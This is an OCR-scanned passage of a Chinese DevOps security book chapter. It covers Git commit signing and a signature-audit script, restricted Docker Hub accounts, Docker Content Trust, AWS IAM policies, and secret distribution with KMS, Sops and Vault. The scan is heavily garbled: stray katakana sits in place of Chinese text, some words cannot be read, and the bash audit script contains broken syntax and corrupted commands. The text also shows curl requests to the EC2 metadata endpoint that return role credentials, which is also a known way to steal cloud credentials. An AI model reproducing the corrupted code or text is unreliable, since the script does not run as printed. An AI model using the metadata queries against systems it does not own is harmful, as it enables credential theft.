--global user.signingKey CA84A9EBBE8A2kD3E3B768B35

$ git config --global

$ git config --g丄oba丄

commit.gpgsign true

tag.gpgsign true

J配置Git,默认对所有 
1提交和tag签名。

］配置Git对所有tag签名。

以上五个步骤可以启用提交和tag签名。这些配置保存在$HOME/.gitconfig中，
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你可以手动编辑。从现在开始,每次提交和每个tag都会包含Sam的PGP签名。

单次提交的签名可以使用git verify-commit进行校验（校验tag的命令 

是verify-tag）。命令接受待校验的提交哈希。如果提交签名正确,签名会显示 

出来，而git会返回退出码〇。如果没有签名，git会返回退出码1。

$ git verify-commit bb514415137cc2a59b745a3877ff80c36f262f13
gpg： Signature made Thu 29 Sep 2016 10：11：42AM using RSA key ID 3B768B35 
gpg： Good signature from "Sam <sam@securing-devops.com>"

如果某个项目的所有开发者全部都使用了签名，你就可以利用这个特性去发 

现源代码中的欺诈性修改。代码清单6.3中的脚本将根据ー份受信的签名密钥清 

单来对Git提交历史中的每一次提交进行校验。正确打开脚本的方式是，定期拉 

取仓库master分支的全新副本,然后执行这个脚本来校验提交历史中的每一次提 

交的签名。

每次提交的状态都是如下三种情况之一:

• TRUSTED----该提交是用受信密钥清单中的某个密钥签名的。

• SIGNATURE AUTHOR NOT TRUSTED——该提交使用未知的密钥签名，因 

此不能被信任。

• NO SIGNATURE FOUND----该提交没有签名。

代码清单6.3对所有提交的git签名进行校验的脚本

#!/usr/bin/env bash 
trusted_keys=(

“E60892BB9BD89A69F759A1A0A3D652173B763E8F”
"CA84AA8BF9EBBE8AAD3EF759A1A652173B768B35"

)
exit_code=0
for hash in $(git log --format=format：%H --no-merges) 

res=$(git verify-commit --raw $hash 2>&1)
if [ $? -gt 0 ]； then

echo $hash NO SIGNATURE FOUND
exit_code=l
continue

fi

PGP密钥清单。

遍历仓库提交,忽 
略其中的合并提交。

author=n$(echo $res | grep -Po
I cut -d r r -f2)

is_ trusted=0
case "${trusted_keys [@] }'• in

*"$author"*) is_trusted=l
；;esac
if [ $is_trusted -eq 1 ]； then

'VALIDSIG [0-9A-F]{40}, \

检查提交的签名是否 
在受信任的清单里。

echo "$hash TRUSTED $(gpg --fingerprint $author \ 
I grep uid | head -11 awk • {print $2 , $3 , $4, $5}り”
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else
echo $hash SIGNATURE AUTHOR NOT TRUSTED： $author 
exit_code=l 

fi
done
exit $exit_code

下面的输出展示的是ー个没有全部签名的仓库执行该审计脚本的示例，上述三 

种情况都出现了。第一行结果显示了有一次受信密钥签名的提交。第二行显示的是 

签名的提交，但签名所有者未知。而第三行的提交根本没有签名。

$ bash audit signatures.sh
2a8ac43ab012elb449cb738bb422e04f7 TRUSTED Sam <sam@securing-devops.com> 
cb01a654a6fc5661f9a374918a62df2al SIGNATURE AUTHOR NOT TRUSTED:AF...B768B35 
041c425f657a911d33baf58b98c90beed NO SIGNATURE FOUND

通过周期性的git签名审计来检测欺诈性修改，这是ー个不错的方法，但也存 

在ー些问题：

•审计脚本必须在CVCD流水线之外执行,以避免因为流水线被攻击而造成脚 

本输出被破坏。最好的方法是在单独的基础设施上运行这个脚本，比如安全 

审计专用的Jenkins服务器，而且要定期触发。你可以使用定义在仓库中的 

webhook来触发审计，但是请记住——取得了仓库管理员权限的攻击者可以 

禁用这些webhook。在完全独立的环境中，每天或者每小时进行自动执行是 

最妥善的选择。

・对所有源代码的修改都必须经过签名，这个要求阻止了在线源代码编辑器的 

使用，比如GitHub网站提供的编辑器。这对于许多开发者来说都是ー个问题。

•向公开仓库提交补丁的外部贡献者也必须对他们的提交进行签名，并且要被 

加到受信签名者的清单中。ー些大型开源项目要实现这个要求并非易事。

在严格受控的环境里，签名的效果最好。识别出ー些由少数开发人员管理的基 

础设施核心组件，并首先在那里进行尝试；然后，随着越来越多的人采用这个实践， 

再逐渐将要求扩散到更大的代码库上。这是ー个很难维护的控件，但它为源代码的 

完整性提供了最好的保证。

如果对每次提交都进行签名是一种沉重的负担，那么你随时都可以只对Git tag 
进行签名。tag是Git树在某个时间点上的快照。改变Git提交历史一定会破坏tag。 

假设开发人员对tag之前的所有提交都已经彻底审查过了,那么对tag进行签名就是 

ー个不错的确定代码库完整性的方法,从而不必对每次提交都进行签名。然而,这 

种方法存在的问题是，在大型代码库中，提交很容易被认为是非恶意的,并且被放 

在签过名的tag之下，但实际上它却会对应用造成很大的损害。提交签名的方法更好， 
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但tag签名聊胜于无。

现在，我们已经介绍完了确保源代码完整性的方法，下面我们将讨论Docker容 

器的完整性。

6.2容器存储的访问控制
运行在生产环境中的Docker容器的完整性对服务的安全性是至关重要的，和防 

止源代码的欺诈性修改所采取的方法一样,我们总是应该增加一些机制来防止容器 

被攻击。同样地,我们主要关注的问题是攻击者对Docker Hub仓库的访问控制的破 

坏，这会让攻击者将应用容器替换成欺诈性版本。

如图6.7所示，Docker Hub在从CircleCI接收到容器后，会向AWS中的部署 

器应用发送webhook请求。我们主要关注的是保护容器的发布，所以控制对Docker 
Hub的访问需要管理新组织中的用户和权限。

AWS
部署器

图6.7容器存储的安全性主要取决于授予CircleCI去发布应用容器的权限。

和保护GitHub类似，在本节中,我们的讨论分为两个方面。第一个是Docker 
Hub本身的权限安全性。第二个是使用Docker内容信任(DCT, Docker Content 
Trust)机制来对CircleCI构建的容器进行签名。

6.2.1 管理Docker Hub与CircleC!之间的权限
和GitHub ー样，Docker Hub也有对组织和仓库的理解。每个组织包括多个仓 

库并管理着若干团队,这些团队被授予了和这些仓库相关的各种权限。

最初我们在第2章设置流水线的时候，我们给了 CircleCI 一些凭证,用于将容 

器推送到发票应用仓库里,但这些凭证拥有Docker Hub组织的全部权限，应该用权 

限受限的凭证来替换它们。这里打算创建一个Docker Hub权限有限的特殊用户，仅 

供CicrleCI在构建时上传新应用容器使用。我们来讨论为发票应用流水线创建这样 



166 6第四层安全性:保护交付流水线

ー个用户的过程。

一条典型的DevOps流水线管理着多个应用,每个应用都应该拥有自己的 

Docker Hub用户,而这些用户的权限是有限的，以此降低凭证泄露对基础设施带来 

的影响。

对于Docker Hub上的每个仓库，保护CircleCI和Docker Hub的集成的过程如 

下：

1 .创建一个只拥有目标仓库写入权限的团队。

2 .创建一个拥有全新凭证的新Docker Hub用户，将它添加到团队中,并授予 

写入权限。

3 .将这个新用户的凭证交给CircleCI,仅用于向目标仓库推送容器,将泄露的 

影响降到最低。

我们来看看这些步骤的细节。首先，前往Docker Hub组织的页面，然后进入 

Teams （团队）选项卡。Create Team （创建团队）表单如图6.8所示,现在创建的 

仅仅是ー个空壳，稍后就会包含用户和授予的权限，现在用户拥有的只是一个名 

字而已。

Create Team
新创建的团队名字

Description

Users allowed to push invoicer containers

Add Cancel

图6.8 Docker Hub上的创建团队表单只需要填写一个名字和一段描述。

转到你要添加团队的仓库页面。在Collaborators （协作者）选项卡中,激活的 

团队清单就显示在右边，如图6.9所示。选中invoicerwriter团队并授予写入权限, 

然后添加。
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PUBLIC REPOSITORY

securingdevops/invoicer ☆

Team Access

■nvoc^wriief wnte

图6.9在Collaborators （协作者）选项卡里完成授予团队仓库的写入权限。

现在,你需要在invoicerwriter团队中添加一个新用户。通过常规的用户创建表 

单来创建一个Docker Hub用户，并添加到invoicerwriter团队中,如图6.10所示。

invoiceicircleciwriter
Team Name

Edit securingdevops

图6.10在组织的Teams （团队）选项卡里将用户添加到团队中。

最后一步就是将这个新用户的凭证交给CircleCI =我们已经在第2章介绍过这 

部分内容了，这里还需要提示一下,你需要修改CircleCI项目设置里的环境变量。 

正如前面小节介绍过的，只有对源代码仓库具有写入权限的GitHub用户オ有修改 

这些设置的权限。

为每个Docker Hub仓库创建团队和用户是ー个有些乏味的过程，但这能保证ー 

个用户只会影响ー个容器仓库。如果有一天这些账户遭到泄露，那么限制敏感凭证 

的范围的好处就会体现出来。相信我:你肯定不愿意花上整整一个星期来修改密码， 

就因为所有地方用的都是同一个账户。

这里介绍的用户管理原则提供了一个不错的安全级别,但有些组织可能还想进 
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ー步控制其构建的容器的完整性。为此，Docker提供了一套机制对容器进行签名和 

验证:Docker内容信任机制。它和Git签名有点像,但它签名的对象不是代码而是 

容器。

6.2 .2用Docker内容信任机制对容器签名
DCT是最近オ被加到Docker生态里的功能，它能持续保护容器的更新。它允 

许容器发布者在将构建的容器镜像发布到Docker Hub之前，对这些镜像进行签名。 

如果启用这个功能，Docker客户端会在获取镜像的过程中校验签名，以确保容器是 

由密钥所有者构建并发布的。

在编写本书之时，我认为DCT还处于试验阶段。它背后的安全理念很强大, 

但却几乎没有能安全使用的真实案例。在默认情况下它是禁用的，而且把它集成到 

CI/CD流水线的操作会很复杂，但它确实让我们能一窥容器安全性的未来。

DCT使用了名为The Update Framework (TUF)的密码框架，对包含容器镜像 

哈希和时间戳等信息的元数据文件进行签名(链接6.3)。容器发布者必须安全地保 

管私钥，并用它来对新镜像签名,而签名会由接收镜像的客户端来校验。

该协议采取了首次使用信任(TOFU, Trust On First Use):在第一次接收容器 

时,客户端会信任该容器的签名密钥,在容器升级之后，校验还会使用同一个密钥。 

TUF能保护用户不受恶意更新的侵害，恶意更新会使用不同的密钥对容器进行签名, 

但无法确保用户第一次收到的容器就是非恶意的。

在你的环境中使用DCT会导致两个主要的实现问题:

•签名密钥必须以某种方式让Circled获取。你可能不得不将它加密并保存在 

GitHub1^,并将解密口令交给Circled。如果GitHub账户被攻击,你就必须 

替换签名密钥，光这样做还不够,你还不得不要求用户清理他们本地的容器 

副本。

•按照DevOps基础设施不变的理念，在部署时你不应该重用系统,而是每次 

都要从头开始创建全新的系统。这样系统可见的只有容器的ー个版本，但 

DCT的工作却要求检验容器的第二个版本签名使用的密钥是否和第一个版本 

相同。如果系统从未见过容器的第二个版本，它们就没办法校验签名。

这些限制让DCT在你的环境中的应用显得不切实际,但它可以为采用其他方式 

构建的环境带来很多价值。例如，你可以想象在CircleCI中构建测试容器，然后经过 

QA测试，并且只有当通过所有测试之后オ进行签名。签名密钥可以事先在生产环境中 

配置，稍后用于检验容器签名，这样你就可以保证在传输和存储中不会发生任何修改。

DCT解决的是ー个存在于所有包管理系统中的重要安全问题:防止仓库向依赖 

它的系统发布错误代码。它在CI/CD流水线中占有一席之地，但是可能只会在追 
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求更高级别的成熟度时オ会被考虑,在那之前所有较低的访问控制都已经得到了 

应用。

下ー节我们将视线转到AWS,确保我们只用到了将应用容器部署到基础设施所 

需要的最小权限。

6.3 基础设施管理的访问控制

AWS是ー个复杂的基础设施,它支持许多服务，并可以托管几乎所有类型的应 

用,既可以托管简单的Web应用，也可以托管复杂的商业智能框架。在第3章中, 

在部署器集成到流水线时，部署器就被授予了访问AWS账户的权限,但几乎没有 

考虑访问控制。和6讨11111)或»“1<61"1I此ー样，AWS凭证泄露也会破坏应用的完整 

性，攻击者可以利用泄露的AWS凭证来接管整个基础设施。我们要继续将CI/CD 
流水线的权限降到最低和最严，现在，我们专注于将授予部署器服务的权限降到最 

低和最严,我们将介绍ー种完全无须管理凭证的方法。

我们还会解决一个运维团队经常遇到的更普遍的DevOps流水线问题:如何将 

密码分发给服务。这里将讨论两个解决方案,它们用不同的方式解决了这个问题: 

一个是使用AWS KMS来管理加密文件的Mozilla Sops ;另ー个是提供了一个安全 

的API ,让服务获取密码的HashiCorp Vault〇

6.3.1使用AWS角色和策略管理权限
提供可以按需扩展和收缩的基础设施，这只是AWS带给DevOps世界的创新之 

ー。Amazon平台最为复杂和最为倚仗的功能之一是用于基础设施组件的并基于角 

色的细粒度的访问控制(RBAC, Role Based Access Control)框架。如图6.11所示， 

AWS中所有基础设施的管理操作都发送给了 AWS API,而API被ー层RBAC保护 

着。只有在这个安全层允许的情况下，操作才能成功。

基础设施管理

AWS
;丨部署器丨 ［发票应用) ；

； Ap! 想作 Api ：
: 调用 保" 调用;

AWS 服务 API )

服务调用AWS API的权限

图6.11 AWS API被ー层基于角色的权限控制所保护,它允许或拒绝基础设施管理层执行操作。
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AWS允许运维人员授予或者拒绝ー个角色执行特定操作的权限，然后将这个角 

色分配给基础设施组件。想象一下，你要把“上传文件到S3存储桶”的权限授予 

EC2实例，但又不想把“删除存储桶中的文件”的权限授予它。这在ー开始可能会 

让人感到困惑,因为将角色分配给虚拟机或是服务器这样的想法在传统基础设施中 

是不存在的,这是由laaS提供商发明并推广的。

在底层,EC2实例的环境会收到ー个访问token,该token授予由运维人员定义 

的权限，这样本地工具无须额外凭证就可以使用这些权限。从安全架构的角度来看, 

这个模型可以将组件权限限制为让其正常工作的最低权限，而且不用将凭证分发给 

系统。一切都交给AWS来打理。

以部署器为例，你可能还没忘记第4章里的设置:使用部署器代码中的 

UpdateEnvironment AWS操作来触发ー个发票应用更新。当时你还没有限制部署器 

的权限，因此一旦被攻击，它可能被用来破坏基础设施中的其他组件。因为部署器 

的终端节点是公开的,并且接受来自互联网上的任何连接，因此你需要尽可能地降 

低攻击带来的影响。

IAM (Identity and Access Management)服务可用于创建权限受限的角色。在 

AWS控制台里的1AM > Roles (角色)下创建这样的角色。你可以用Web控制台 

创建一个名为securingdevops-deployer的空角色，并在这个角色上应用自定义策略。 

控制面板提供了一个用于创建角色自定义内联策略的表单界面，如图6.12所示。

Services *■ Resource Groups ▼ A securing devops ▼

Manage Role 
Permissions

Edit Permissions

The policy generator enables you to create polides Uiat control access to Amazon Web Servict 
resources For more information about creating policies, see Overview ol Policies In Using AWJ 
Management.

Allow , Deny

AWS Service AWS Elastic Beanstalk

Actions

Amazon Resource Name 
(ARN)

1 Action(s) Selected
-renninaretnviranmenr

h UpdateApplication

UpdateApplicationVersion

UpdateConfigurationTernplate

^UpdateEnvironment

ValidateConfigurationSettings

Cancel Previous Next Step

图6.12 AWS控制面板的IAM部分可以完成角色自定义策略的创建。该表单提供了下拉菜单选 
项来选择角色允许或拒绝的权限。
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你可以使用Web界面创建一个名为invoicer-eb-update的策略，它将授 

予在发票应用环境中发起elasticbeanstalk: UpdateEnvironment操作的 

权限。最终的策略如代码清单6.4所示。你可以这样解读:该策略的作用（Effect 
是允许（Allow）任何策略持有者对发票应用API环境发起elasticbean- 
stalk: UpdateEnvironment 操作 （Action） 和 s3 : CreateBuck6t 操作 

（Action）,资源（Resource） ARN标识代表的是发票应用API环境。通过将这 

个策略分配给部署器，你就把部署发票应用新版本的权限授予了部署器。

代码清单6.4授予在EBS发票应用上触发环境更新的权限

"Version"： "2012-10-17”，

"Statement":(
(

“Sid"： nStmtl477874633000",
"Effect": °Allown,
••Action** ：[
"elasticbeanstalk：UpdateEnvironment",
Ms3：CreateBucketM

策略允许或者拒绝对资源的操作。在 
这里,其作用是允许策略持有者更新 
发票应用的EB环境及创建发票应用
的S3存储桶。

],
"Resource ** ：[
"arn：aws：elasticbeanstalk：us-east-l：939135168275： 
environment/invoicer201605211320/invoicer-api"

]
}

)

这个策略足以触发发票应用的更新，但部署器还需要更多的权限来正确地完成 

工作。关于控制EBS环境所必需的权限，AWS提供了详尽的文档，你可以参考文 

档来手动重写策略（链接6.4）。你还可以使用名为AWSElasticBeanstalkSer- 
vice的预定义策略模板，其效果是ー样的。

你可以在AWSIAM控制台里创建角色，并将策略invoicer-eb-update 
分配给该角色。将这个角色附加到部署器的EC2实例上,实际上就是将更新发票 

应用的权限授予了这些系统。在部署器的elasticbeanstalk配置中将Instance 
Profile （位于 Elastic Beanstalk Configuration 页面的 Instance 部分）改为 securing- 
devops-deployer就可以了。将新角色分配给EC2实例会强制AWS为部署器创 

建一组与新角色匹配的新凭证。这样实例可以通过内部的user-data终端节点来 

获取这些凭证。
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代码清单6.5实例通过 user-data 访问它的角色和凭证

$ curl http：//169.***.169.254/latest/meta-data/iam/ 
security-credentials/securingdevops-deployer 

(
'• Code11 ： "Success”，

"LastUpdated" : "2016-10-31T12:13:48Z",

提供了 EC2实例 
凭证的本地地址。

"Type" : "AWS-HMAC",
"AccessKeyld" : "ASIAIEEBUXPTHZBE3TCQ",
"SecretAccessKey" ： "qSGckWn...7",
"Token" ： "FqoDYXd...OvcwAU=",
"Expiration" ： "2016-10-31T18：31:30Z"

)

-AWS凭证由AWS自动创 

建并提供给EC2实例。

除了控制EBS，部署器还需要检查安全组的内容,这是第4章建立的pine
apple 测试的组成部分。授予这些额外的权限要遵循同样的原则:确定服务需要执 

行的操作,并创建允许它们附加到角色上的策略。

代码清单6.6展示的是允许审计安全组的策略。它授予了多个操作权限，但它 

们都不是敏感的权限,而是属于Describe类别，该类别只授予读取配置数据的权 

限。注意这里Resource被设置成了通配符，实际上是允许该角色审计AWS账户 

中的所有安全组。

代码清单6.6授予检查所有安全组的权限的策略

Version"： "2012-10-17",
Statement"：［

{
"Sid"： "Stmtl477876486000", <
"Effect"： "Allow",

唯一的策略标识符。

策略允许的操作清单，允许持有者检 
查各种EC2、EB及RDS的参数。

"Action"：［
"ec2：DescribeSecurityGroups",
"ec2：Describeinstances",
"elasticloadbalancing：DescribeLoadBalancers",
"elasticloadbalancing：DescribeTags",
"elasticbeanstalk：DescribeApplication", 
"rds:DescribeDBInstances",
"rds：ListTagsForResource"

］,
"Resource"：［

］ 通配符允许策略持有者检查任何资源。
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IAM策略很快就会写得越来越复杂,所以AWS提供了一个策略评估器来检查 

策略授予或者拒绝的权限。图6.13展示了一个策略评估器运行结果的例子。

Policies EQI Pohcy Simutaior
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图6.13策略评估器让运维人员可以对指定策略授予或拒绝的操作进行检查。在这个例子中,图 
的右边展示了策略授予或拒绝的操作。

不能低估!AM角色及策略提供的灵活性。大型AWS基础设施中的组件会共同 

拥有一个账户和许多资源,严格的访问控制能帮你维持组件之间严格的安全边界。 

管理这些权限一定会产生成本，因为它们编写起来会很复杂，审计起来也更加麻烦， 

但和它们为整个平台提供的安全水平相比,这些代价都是微不足道的。

例如,IAM角色允许将密码保存在S3存储桶中，然后授予实例获取密码的细 

粒度权限。许多组织采用了这种方法，但它的缺点是S3中存储的密码是明文。在 

下ー节里，我们将讨论ー些最复杂的处理AWS密码管理的方法。

6.3.2将密码分发到生产环境系统中

大多数应用都需要获取ー些密码,这些密码是配置的一部分。设想有如下这 

样ー个服务,它在存档数据之前代表用户对数据进行加密。这样ー个服务如何获得 

加密数据所需的加密密钥呢?在你的简化环境中采用的方法是将凭证存在环境变量 

中，但是如果当密码大小超过了环境变量允许的长度时，这种方法很快就会限制这 

个服务。在现实世界中，有一种机制是很有必要的，即将密码信息提供给生产环境 

系统,同时也不会遭到破坏。

这又是ー个访问控制的问题：只有那些拥有特定目的的系统オ应该获取指定类 

型的密码。账单服务不能访问订单管理平台的密码，反过来也一样。这里面的风险 

甚至比用户凭证管理还要高，因为在某些情况下,密码泄露之后是无法修改的。例如, 

放在卖给消费者的产品里的加密密钥必须永远被安全地保管，而且当泄露之后通常 

是不能修改的（撇开安全因素不谈,将密钥放在产品中，这是ー个安全性设计欠妥 
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的标志）。

我们在第5章介绍TLS时,讨论过身份认证问题，密码分发也ー样会遇到此类 

问题：你必须校验新系统的身份，否则就存在可能将密码发给欺诈者的风险。这个 

问题被称为信任引导。

在传统运维中，信任往往是通过运维人员手动创建系统来建立的。在DevOps中， 

人是不会直接参与新系统的创建的,所以我们需要一种无须人工校验的信任机制。 

如果我们能解决这个问题，并可以找到ー种信任新系统的方法，那么就能更加容易 

地将密码分发给它们。

信任引导

你只有两种方法来引导对基础设施中新系统的信任：基础设施要么需要人工的 

校验步骤，要么相信它的访问控制可以拦截欺诈操作。

前ー种就是传统运维上线新系统的方式。在第5章里,我解释了 TLS是如何解 

决信任引导问题的,它利用了由证书颁发机构组成的公钥基础设施来对身份进行签 

名，这些机构被参与安全通信的各方所信任。PK!是很不错的工具,但它需要通过 

人工交互来对身份进行签名,这实际上是人工步骤。配置管理工具Puppet使用了这 

样的PKI,它为每个系统签发证书并要求运维人员审批这些证书（对其签名）。这是 

ー项乏味的工作,这导致许多运维人员要么干脆完全禁用了该控制,要么使用了一 

些不那么安全的自动化手段。引导信任的过程一旦涉及人，本来就忙得焦头烂额的 

他们会倍感压カ，而他们的对策通常是降低基础设施的安全性。

只有在所有平台组件都强制应用了访问策略的环境中,安全控制才能被信任。 

只要有人可以大摇大摆地进入数据中心,随便将什么服务器接入交换机,那么基础 

设施的访问控制就形同虚设,这种情况就应该强制使用人工校验。但是如果创建新 

系统的组件得到了妥善地管控，并且只有有权限的运维人员才能访问,那么基于这 

些系统运行在受控环境中的事实，我们就可以给予这些系统基本的信任。AWS的信 

任引导就是这么做的。

在AWS中，新系统承担的角色代表了它被给予的信任，这个角色是运维人员 

在创建该系统时分配给它的。角色引导信任并授予该系统访问特定资源的权限，并 

用于后续的配置。因为我们信任AWS的基于角色的访问控制,以及它的自动化基 

础设施,所以我们可以将这种信任延续到新系统上。如果AWS及账户凭证是安全的， 

我们就可以认为信任能够被维系,并且系统身份是可靠的。
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其他系统的信任机制

其他laas平台也使用了类似的基于角色的访问控制。Kubemetes有一些注 

解，在创建Pod (容器实例)之前由平台管理员设置,而Google Cloud Platfbrm 
使用的IAM角色在某种程度上和AWS类似 通过实例角色和访问控制来管理 

信任的理念是现代基础设施的基础,也应该适用于其他非AWS环境。

使用AWS角色引导信任解决了凭证分发的第一个问题：现在，实例的身份 

得到了验证,我们可以将凭证发给它们了。下ー个问题就应该是如何安全地发送 

凭证了。

AWS KMS 和 Mozilla Sops
前面的章节已经介绍过，我们可以利用IAM角色将特定的AWS操作权限授 

予EC2实例。我们让实例用这些权限从S3存储桶中下载密码,这种方法简单实用 ， 

但有一个主要缺点:S3中的密码以明文存储,ー不小心就会泄露到互联网上。

这种情况会频频发生，远超你的想象。运维人员通常会把基础设施的密码副本 

保存在笔记本电脑上，便于管理配置。常见的做法是将密码放在Git仓库里并保留 

修改的历史记录。这个仓库会被同步到ー个私有节点上,让生产环境的系统能够获 

取数据。实际上,这种方法工作得很好，但是存在一个漏洞，如果将Git代码仓库 

推送到了错误的地方,或者将本地副本拷贝到了公开目录，明文密码就会被立即暴 

露，进而导致全部基础设施凭证必须被强制替换。没有谁会喜欢干这种事。

最佳实践是始终将密码保存为加密的，直到它们在目标系统上被解密。这很难 

实现,因为首先要把解密密钥提供给实例才能解密配置文件，而密钥传输机制提供 

的安全性并不比直接传输解密后的配置文件提供的安全性高得多。

AWS通过Key Management Service (KMS)为这个问题提供了一种解决方案。 

KMS是ー个管理加密密钥的密码服务。它的工作流程如下:

1 .生成一个加密密钥,kAo
2 .使用kA对文档dX加密，并得到edX。

3 .使用KMS对kA加密，并得到ekA,
4 .将edX和ekA 一起存放在实例可以获取的地方。

5 .销毁dX和kA。

6 .实例上线并下载edX和ekA。

7 .实例用它的实例角色通过KMS解密ekA,得到kA。

8 .实例使用kA解密edX ，得到dX。
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9 . dX包含了用于配置实例的密码明文。 

该流程如图6.14所示。

图6.14通过AWS KMS进行密码分发,要求运维人员在将密码分发给EC2实例之前先通过 
KMS加密来配置密码,而它们的解密也是通过KMS。这个流程保证了密码一直是被安全地加密， 
直到它们被发到目标系统中,并且不再需要人工分发密码加密密钥。

KMS的优势在于它和AWS IAM的紧密集成,这样我们就可以将解密角色授予 

实例。代码清单6.7展示了一个角色示例,该角色将通过KMS解密(Decrypt), 
由ARN表示的特定密钥的权限授予了实例。

代码清单6.7授予EC2实例KMS Decrypt权限的|AM角色

"Version": "2012-10-17", 
"Statement*':[

"Sid": "Stmtl477921668000",
唯一的随机策略标识符。
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"Effect"： "Allow",
"Action"：[

"kms：Decrypt"
],

该策略将授予KMS 

解密操作的权限。

"Resource"：[
"arn：aws：kms：us-east-1：92：key/a75a-90dcf66" 

]
**~I授予权限的密钥的 

!标识符。

)

KMS解决方案优雅地解决了如何将加密文档分发给实例的问题,自2015年诞 

生以来，许多工具都用到了它。Credstash （链接6.5）和Sneaker （链接6.6）这两个 

工具分别使用了 DynamoDB和S3来存储加密文档.受到这些工具的启发,本书作 

者开发了 Sops （链接6.7）,除了采用上述流程,还提供了一些额外的特性：

«只有部分加密的键/值形式的文档，例如YAML或JSON。键保留明文，而 

值进行了加密。文件的一部分内容无须解密就可以被理解，保存在Git中也 

可以提供有意义的比对。缺点是ー些元数据会遭到泄露。

•文件使用多个主密钥加密，既用了 KMS也用了 PGP。这样做的目的是提供 

了备份机制，避免因单个加密密钥遗失而导致加密数据遗失。Sops是ー个 

Go 程序，可以使用 g。get -u go .mozilla. org/sops/cmd/sops 
安装。加密文档的示例如代码清单6.8所示。

代码清单6.8使用Sops加密的YAML文档示例

加密后的文档数据。 使用PGP加密的文档密钥。

myappl: ENC [AES256_GCM, data：QsGJGQEf iw, iv： Shmg. . . , tag ： 8G. . . , type ： str] 
app 2 ：

___  db:
user ： ENC [AES256_GCM, data ：Af rbbz iv： 7bj . . . , tag : d4 . . . , type ： str]
pass ： ENC [AES256_GCM, data： 9jSxN, iv： 5m. . . , tag： AtK. . . , type：str]

sops ：

P9P：
- fp： 1022470DE3F0BC54BC6AB62DE05550BC07FB1A0A 

enc ： I
-----BEGIN PGP MESSAGE-----  ------------------------  
hQIMA0t4uZHf19qgAQ/8Dalb/hWg6wv8ZoieIv...
----- END PGP MESSAGE-----  

kms:

I- arn： arn：aws：kms：us-east-1：92...：key/a75a-476a-4be9
enc: CiAlccdru20pdJuan5Q+Q/tCDIkHPpP...

mac： ENC[AES2 56_GCM,data：ChFa...,iv：Odn...,tag：6cK0w...z type：str] ◄----

使用KMS加密的文档密钥。 完整性校验和。
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Sops、Credstash、Sneaker及其他基于KMS概念的解决方案，在AWS的运 

行环境里工作得很好，但却不能解决Amazon基础设施之外的凭证分发问题。而 

HashiCorp Vault是一种和基础设施无关的工具，在各种环境里都可以工作得很好。

HashiCorp Vault
和只提供加密/解密服务的KMS不同，Vault的设计目标是提供ー套全面的密 

码存储和访问控制解决方案。

和Sops 一样，Vault也是ー个Go应用，可以通过命令g。get github. 
com/hashicorp/vault来获取、编译并安装。它作为基础设施中的一个服务来 

运行，并暴露ー个API终端节点,系统可以从这个终端节点获取它们的密码。和之 

前展示的加密/解密流程相比,Vault提供的基础设施要简单得多，如图6.15所示。

运维人员 Vault 实例

写入密码A 

保存加密后的密码A
つ

身份验证

读取密码A

运维人员 Vault 实例

图6.15 Vault使用了一个简单的流程管理密码,它以ー个中央服务为中心，运维人员将密码存 
储在这里,而系统从这里下载密码。

Vault通过校验实例提供的AWS身份文档来解决信任引导问题。身份文档是一 

组由特定AWS密钥签名的实例元数据,任何人都可以校验。每个EC2实例都可以 

从它的本地元数据中获取自己的身份文档和相关的签名,如代码清单6.9所示。

代码清单6.9经过AWS签名的EC2实例身份文档

$ curl http：//169.***.169.254/latest/dynamic/instance-identity/document
(

“privateエp" ： "172.31.24.191”， I 一个EC2实例的身份文档是ー个包
Havai 1 abi 1 ityZone•' ： "us-east-la0 ， 含元数据的 JSON 文件。
Mregion•• ： nus-east-l", ----
"instanceld" ： "i"36de3bb2",
"instanceType" ： "t2.micro",

}
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同时提供的还有EC2实例身
份文档的PKCS7签名。

$ curl http：//169.***.169.254/latest/dynamic/instance-identity/pkcs7
MIAGCSqGSIb3DQEHAqCAMIACAQExCzAJBgUrDgM I
ICJwcml2YXRlSXAiIDogIjE3Mi4zMS4yNC4xOTE

对于每一个连接到其API终端节点的实体来说,Vault都要校验这些实例身份文 

档的PKCS7S/MIME签名。然后，实例身份就可以用于应用访问控制规则,允许或 

拒绝访问凭证。这种方法只对EC2实例有效，对没有身份文档的AWS Lambda函数 

则无效。

在非AWS环境中,可以为Vault实现类似的身份验证后端提供同等水平的安全 

性。I
Vault是ー种用于密码管理的可靠解决方法，但它也有一些缺点：

•作为一个中央密码管理服务，它很可能会成为被攻击的基础设施目标。Vault 
必须将所有解密的密码加载到内存中,这样才能分发它们,如果Vault服务 

器被攻击，所有密码都将被泄露。而Vault API又必须从基础设施中的所有系 

统中访问,这会让该服务更容易暴露在攻击之下。

•有些DevOps组织会尽可能地减少对核心基础服务的依赖，以期减少这些服务因 

状态不正常而造成的不可用时间。如果Miult下线,就无法在环境中再增加任何 

新系统了。Wult服务必须按照基础设施中可用性最高的服务的标准来运营。

没有哪ー种方案是绝对完美的。无论是决定使用KMS或Sops提供的加密文档 

准备方式，还是使用Vault这样的密码分发API,都需要找到易用性、安全性和可靠 

性的平衡点。

最终,理想的解决方案应该是最适合基础设施的解决方案,也是让运维人员操 

作起来最舒服的解决方案。在管理密码的时候，强迫运维人员使用让他们失望的エ 

具,只会增加在互联网上泄露数据的可能性。

6.4本章小结

• 使用组织和团队锁定代码仓库的权限，并使用自动化脚本定期审计。

• 在所有可能的地方强制使用双因子验证，防止密码泄露而导致账户被攻击。

• 限制和第三方的集成,审查授予它们的权限，收回那些不再使用的授权。

1 Kelsey Hightower的Vault Controller可以在Kubernetes pod被授予密码访问权限之前对其进行身份验 
证,见链接6.8。
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• 使用PGP对Git提交和tag签名,编写脚本以便审查在CI/CD流水线之外的这些 

签名。

• 在与じ沁16。及口℃1^1'1i此这样的组件集成时,使用权限受限的账户，并且 

每个项目使用各自的账户,以控制账户泄露的影响范围。

• 评估容器签名如何有助于提升对基础设施的信任，但要留意其中的注意事项。

• 精通AWSIAM策略的使用,利用它们将受限的特定权限授予基础设施组件。

• 代码和容器签名可以很好地避免欺诈性修改，但在实践中是很难实现的。

• AWS IAM角色是一种强大的机制,可以将细粒度的权限授予基础设施中的 

系统。

• 使用像Mozilla Sops或HashiCorp Vault这样的专门工具将密码安全地分发给 

系统，在其他任何时候都不要以明文来存储密码。



第2部分

监控异常，保护服务免受攻击

不管是在数字世界还是在真实世界,任何ー个组织在某种程度上都必须保护自 

己不受攻击。对小店主来说,面临的主要威胁是店内被盗窃。对国际商人来说,则 

是来自其他公司的恶意收购。在构建线上服务时，运营商最担心的是数据泄露和拒 

绝服务攻击。

在本书的第1部分，你搭建了一个能够快速扩张的基础设施并保证了它的安全 

性，这是通过运用DevOps技术实现运维エ业化来达到的。在本书的第2部分，你 

